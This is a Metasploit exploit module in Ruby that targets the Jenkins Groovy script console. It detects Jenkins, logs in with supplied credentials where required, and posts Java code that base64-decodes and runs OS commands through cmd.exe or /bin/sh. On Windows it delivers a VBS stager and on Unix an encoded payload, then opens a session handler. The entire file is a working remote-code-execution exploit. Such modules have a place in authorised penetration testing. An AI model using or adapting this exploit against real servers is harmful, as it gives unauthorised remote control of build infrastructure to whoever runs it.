##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerVBS

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Jenkins Script-Console Java Execution',
      'Description'    => %q{
          This module uses the Jenkins Groovy script console to execute
        OS commands using Java.
      },
      'Author'  =>
        [
          'Spencer McIntyre',
          'jamcut'
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: $',
      'DefaultOptions' =>
        {
          'WfsDelay' => '10',
        },
      'References'     =>
        [
          ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
        ],
      'Targets'    =>
        [
          ['Windows',  {'Arch' => ARCH_X86, 'Platform' => 'win'}],
          ['Unix',     {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
        ],
      'DisclosureDate' => 'Jan 18 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
        OptString.new('PATH', [ true, 'The path to jenkins', '/jenkins' ]),
      ], self.class)
  end

  def check
    res = send_request_cgi({'uri' => "#{datastore['PATH']}/login"})
    if res and res.headers.include?('X-Jenkins')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def http_send_command(cmd, opts = {})
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => datastore['PATH'] + '/script',
      'cookie'    => @cookie,
      'vars_post' =>
        {
          'script' => java_craft_runtime_exec(cmd),
          'Submit' => 'Run'
        }
    })
    if not (res and res.code == 200)
      fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
    end
  end

  def java_craft_runtime_exec(cmd)
    decoder = Rex::Text.rand_text_alpha(5, 8)
    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
    cmd_array = Rex::Text.rand_text_alpha(5, 8)
    jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
    jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

    jcode << "String [] #{cmd_array} = new String[3];\n"
    if target['Platform'] == 'win'
      jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
      jcode << "#{cmd_array}[1] = \"/c\";\n"
    else
      jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
      jcode << "#{cmd_array}[1] = \"-c\";\n"
    end
    jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
    jcode
  end

  def execute_command(cmd, opts = {})
    http_send_command("#{cmd}")
  end

  def exploit
    print_status('Checking access to the script console')
    res = send_request_cgi({'uri' => "#{datastore['PATH']}/script"})
    if not (res and res.code)
      fail_with(Exploit::Failure::Unknown)
    end

    sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
    @cookie = "#{sessionid}"

    if res.code != 200
      print_status('Logging in...')
      res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => datastore['PATH'] + '/j_acegi_security_check',
        'cookie'    => @cookie,
        'vars_post' =>
          {
            'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
            'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
            'Submit'     => 'log in'
          }
      })

      if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
        fail_with(Exploit::Failure::NoAccess, 'login failed')
      end
    else
      print_status('No authentication required, skipping login...')
    end

    case target['Platform']
    when 'win'
      print_status("#{rhost}:#{rport} - Sending VBS stager...")
      execute_cmdstager({:linemax => 2049})

    when 'unix'
      print_status("#{rhost}:#{rport} - Sending payload...")
      http_send_command("#{payload.encoded}")
    end

    handler
  end
end